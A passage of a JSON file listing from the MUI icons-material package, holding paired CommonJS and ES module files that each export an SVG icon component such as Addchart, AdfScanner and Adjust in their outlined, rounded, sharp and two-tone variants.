    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h7zm-2 14H3V5h18zm-5-7v2h-3v3h-2v-3H8v-2h3V7h2v3z\"\n}), 'AddToQueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v16h7v2h8v-2h7zm-2 14H3V5h18zm-5-7v2h-3v3h-2v-3H8v-2h3V7h2v3z\"\n}), 'AddToQueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17h18V5H3zm5-7h3V7h2v3h3v2h-3v3h-2v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 15h2v-3h3v-2h-3V7h-2v3H8v2h3zM21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'AddToQueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddToQueueTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17h18V5H3zm5-7h3V7h2v3h3v2h-3v3h-2v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 15h2v-3h3v-2h-3V7h-2v3H8v2h3zM21 3H3c-1.11 0-2 .89-2 2v12c0 1.1.89 2 2 2h5v2h8v-2h5c1.1 0 2-.9 2-2V5c0-1.11-.9-2-2-2m0 14H3V5h18z\"\n}, \"1\")], 'AddToQueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'AddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'AddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Addchart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5v2h-3v3h-2V7h-3V5h3V2h2v3zm-3 14H5V5h6V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6h-2zm-4-6v4h2v-4zm-4 4h2V9h-2zm-2 0v-6H7v6z\"\n}), 'Addchart');"
  },
  {
    "path": "packages/mui-icons-material/lib/Addchart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5v2h-3v3h-2V7h-3V5h3V2h2v3zm-3 14H5V5h6V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6h-2zm-4-6v4h2v-4zm-4 4h2V9h-2zm-2 0v-6H7v6z\"\n}), 'Addchart');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5v2h-3v3h-2V7h-3V5h3V2h2v3zm-3 14H5V5h6V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6h-2zm-4-6v4h2v-4zm-4 4h2V9h-2zm-2 0v-6H7v6z\"\n}), 'AddchartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5v2h-3v3h-2V7h-3V5h3V2h2v3zm-3 14H5V5h6V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6h-2zm-4-6v4h2v-4zm-4 4h2V9h-2zm-2 0v-6H7v6z\"\n}), 'AddchartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 10c0-.55.45-1 1-1s1 .45 1 1v7h-2zm9 3c-.55 0-1 .45-1 1v5H5V5h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5c0-.55-.45-1-1-1m1-8h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1m-5 8c-.55 0-1 .45-1 1v3h2v-3c0-.55-.45-1-1-1m-9-1v5h2v-5c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'AddchartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 10c0-.55.45-1 1-1s1 .45 1 1v7h-2zm9 3c-.55 0-1 .45-1 1v5H5V5h5c.55 0 1-.45 1-1s-.45-1-1-1H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5c0-.55-.45-1-1-1m1-8h-2V3c0-.55-.45-1-1-1s-1 .45-1 1v2h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1m-5 8c-.55 0-1 .45-1 1v3h2v-3c0-.55-.45-1-1-1m-9-1v5h2v-5c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'AddchartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 9h2v8h-2zm-2 8v-6H7v6zm10 2H5V5h6V3H3v18h18v-8h-2zm-4-6v4h2v-4zm4-8V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}), 'AddchartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 9h2v8h-2zm-2 8v-6H7v6zm10 2H5V5h6V3H3v18h18v-8h-2zm-4-6v4h2v-4zm4-8V2h-2v3h-3v2h3v3h2V7h3V5z\"\n}), 'AddchartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5v2h-3v3h-2V7h-3V5h3V2h2v3zm-3 14H5V5h6V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6h-2zm-4-6v4h2v-4zm-4 4h2V9h-2zm-2 0v-6H7v6z\"\n}), 'AddchartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddchartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5v2h-3v3h-2V7h-3V5h3V2h2v3zm-3 14H5V5h6V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6h-2zm-4-6v4h2v-4zm-4 4h2V9h-2zm-2 0v-6H7v6z\"\n}), 'AddchartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScanner.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-1V4H6v8H5c-1.66 0-3 1.34-3 3v5h20v-5c0-1.66-1.34-3-3-3m-3 0H8V6h8zm2 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdfScanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScanner.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-1V4H6v8H5c-1.66 0-3 1.34-3 3v5h20v-5c0-1.66-1.34-3-3-3m-3 0H8V6h8zm2 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdfScanner');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-1V4H6v8H5c-1.66 0-3 1.34-3 3v5h20v-5c0-1.66-1.34-3-3-3M8 6h8v6H8zm12 12H4v-3c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\")], 'AdfScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-1V4H6v8H5c-1.66 0-3 1.34-3 3v5h20v-5c0-1.66-1.34-3-3-3M8 6h8v6H8zm12 12H4v-3c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"1\")], 'AdfScannerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-1V6c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v6H5c-1.66 0-3 1.34-3 3v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3c0-1.66-1.34-3-3-3m-3 0H8V6h8zm2 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdfScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-1V6c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v6H5c-1.66 0-3 1.34-3 3v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3c0-1.66-1.34-3-3-3m-3 0H8V6h8zm2 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdfScannerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12h-4V4H6v8H2v8h20zm-6 0H8V6h8zm2 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdfScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12h-4V4H6v8H2v8h20zm-6 0H8V6h8zm2 5c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdfScannerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6h8v6H8zm11 8H5c-.55 0-1 .45-1 1v3h16v-3c0-.55-.45-1-1-1m-1 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-1V4H6v8H5c-1.66 0-3 1.34-3 3v5h20v-5c0-1.66-1.34-3-3-3M8 6h8v6H8zm12 12H4v-3c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"2\")], 'AdfScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdfScannerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6h8v6H8zm11 8H5c-.55 0-1 .45-1 1v3h16v-3c0-.55-.45-1-1-1m-1 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-1V4H6v8H5c-1.66 0-3 1.34-3 3v5h20v-5c0-1.66-1.34-3-3-3M8 6h8v6H8zm12 12H4v-3c0-.55.45-1 1-1h14c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"16\",\n  r: \"1\"\n}, \"2\")], 'AdfScannerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Adjust.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'Adjust');"
  },
  {
    "path": "packages/mui-icons-material/lib/Adjust.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'Adjust');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'AdjustOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'AdjustOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'AdjustRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'AdjustRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'AdjustSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m3-8c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3\"\n}), 'AdjustSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0-7C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AdjustTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdjustTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m0-7C6.49 2 2 6.49 2 12s4.49 10 10 10 10-4.49 10-10S17.51 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'AdjustTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettings.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11c.34 0 .67.04 1 .09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55-.69-.98-1.1-2.17-1.1-3.45 0-3.31 2.69-6 6-6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\"\n}, \"1\")], 'AdminPanelSettings');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettings.mjs",
